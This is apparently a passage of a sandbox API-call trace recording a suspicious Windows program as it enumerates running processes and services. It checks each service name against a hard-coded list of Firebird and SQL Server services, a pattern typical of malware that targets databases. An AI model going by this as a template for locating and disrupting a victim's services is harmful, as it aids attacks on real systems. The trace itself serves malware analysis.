[0198.504] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.504] lstrlenW (lpString="svchost.exe") returned 11 [0198.504] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.505] lstrlenW (lpString="svchost.exe") returned 11 [0198.505] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0198.506] lstrlenW (lpString="dwm.exe") returned 7 [0198.506] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.507] lstrlenW (lpString="svchost.exe") returned 11 [0198.507] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.508] lstrlenW (lpString="svchost.exe") returned 11 [0198.508] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.508] lstrlenW (lpString="svchost.exe") returned 11 [0198.509] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.509] lstrlenW (lpString="svchost.exe") returned 11 [0198.509] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.510] lstrlenW (lpString="svchost.exe") returned 11 [0198.510] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.511] lstrlenW (lpString="svchost.exe") returned 11 [0198.511] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.512] lstrlenW (lpString="svchost.exe") returned 11 [0198.512] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.512] lstrlenW (lpString="svchost.exe") returned 11 [0198.512] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.513] lstrlenW (lpString="svchost.exe") returned 11 [0198.513] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.514] lstrlenW (lpString="svchost.exe") returned 11 [0198.514] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0198.515] lstrlenW (lpString="spoolsv.exe") returned 11 [0198.515] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.515] lstrlenW (lpString="svchost.exe") returned 11 [0198.515] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0198.516] lstrlenW (lpString="audiodg.exe") returned 11 [0198.516] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0198.517] lstrlenW (lpString="sihost.exe") returned 10 [0198.517] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.518] lstrlenW (lpString="svchost.exe") returned 11 [0198.518] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0198.518] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0198.518] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0198.519] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0198.519] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0198.520] lstrlenW (lpString="Memory Compression") returned 18 [0198.520] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0198.521] lstrlenW (lpString="taskhostw.exe") returned 13 [0198.521] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0198.522] lstrlenW (lpString="msoia.exe") returned 9 [0198.522] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0198.523] lstrlenW (lpString="explorer.exe") returned 12 [0198.523] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0198.524] lstrlenW (lpString="SearchUI.exe") returned 12 [0198.524] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0198.524] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0198.524] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0198.525] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0198.525] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0198.526] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0198.526] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0198.527] lstrlenW (lpString="wmxsde.exe") returned 10 [0198.527] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0198.528] lstrlenW (lpString="dllhost.exe") returned 11 [0198.528] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0198.528] lstrlenW (lpString="dllhost.exe") returned 11 [0198.528] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0198.529] CloseHandle (hObject=0x494) returned 1 [0198.529] Sleep (dwMilliseconds=0x1f4) [0199.230] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f510 [0199.231] EnumServicesStatusExW (in: hSCManager=0x459f510, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0199.232] GetLastError () returned 0xea [0199.232] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x46f4f90 [0199.233] EnumServicesStatusExW (in: hSCManager=0x459f510, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46f4f90, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46f4f90, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0199.234] CloseServiceHandle (hSCObject=0x459f510) returned 1 [0199.234] lstrlenW (lpString="Appinfo") returned 7 [0199.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0199.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0199.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0199.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0199.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0199.235] lstrlenW (lpString="AppXSvc") returned 7 [0199.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0199.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0199.235] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0199.235] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0199.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0199.235] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0199.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.235] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0199.235] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0199.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0199.235] lstrlenW (lpString="Audiosrv") returned 8 [0199.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0199.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0199.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0199.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0199.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0199.235] lstrlenW (lpString="BFE") returned 3 [0199.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0199.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0199.235] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0199.235] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0199.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0199.235] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0199.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0199.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0199.235] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0199.236] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0199.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0199.236] lstrlenW (lpString="CDPSvc") returned 6 [0199.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0199.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0199.236] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0199.236] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0199.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0199.236] lstrlenW (lpString="ClickToRunSvc") returned 13 [0199.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0199.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0199.236] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0199.236] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0199.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0199.236] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0199.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0199.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0199.236] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0199.236] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0199.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0199.236] lstrlenW (lpString="CryptSvc") returned 8 [0199.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0199.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0199.236] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0199.236] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0199.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0199.236] lstrlenW (lpString="DcomLaunch") returned 10 [0199.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.236] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0199.236] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0199.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0199.237] lstrlenW (lpString="DeviceAssociationService") returned 24 [0199.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0199.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0199.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0199.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0199.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0199.237] lstrlenW (lpString="Dhcp") returned 4 [0199.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0199.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0199.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0199.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0199.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0199.237] lstrlenW (lpString="Dnscache") returned 8 [0199.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0199.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0199.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0199.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0199.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0199.237] lstrlenW (lpString="DPS") returned 3 [0199.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0199.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0199.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0199.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0199.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0199.237] lstrlenW (lpString="DusmSvc") returned 7 [0199.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0199.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0199.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0199.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0199.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0199.237] lstrlenW (lpString="EventLog") returned 8 [0199.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0199.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0199.238] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0199.238] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0199.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0199.238] lstrlenW (lpString="EventSystem") returned 11 [0199.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0199.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0199.238] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0199.238] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0199.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0199.238] lstrlenW (lpString="FontCache") returned 9 [0199.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0199.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0199.238] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0199.238] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0199.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0199.238] lstrlenW (lpString="gpsvc") returned 5 [0199.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0199.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0199.238] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0199.238] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0199.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0199.238] lstrlenW (lpString="iphlpsvc") returned 8 [0199.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.238] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0199.238] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0199.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0199.238] lstrlenW (lpString="KeyIso") returned 6 [0199.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0199.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0199.239] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0199.239] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0199.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0199.239] lstrlenW (lpString="LanmanServer") returned 12 [0199.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0199.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0199.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0199.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0199.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0199.239] lstrlenW (lpString="LanmanWorkstation") returned 17 [0199.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0199.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0199.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0199.239] lstrlenW (lpString="lfsvc") returned 5 [0199.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0199.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0199.239] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0199.239] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0199.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0199.240] lstrlenW (lpString="lmhosts") returned 7 [0199.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0199.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0199.240] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0199.240] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0199.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0199.240] lstrlenW (lpString="LSM") returned 3 [0199.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0199.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0199.241] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0199.241] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0199.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0199.241] lstrlenW (lpString="MpsSvc") returned 6 [0199.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0199.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0199.241] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0199.241] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0199.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0199.241] lstrlenW (lpString="NcbService") returned 10 [0199.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0199.241] 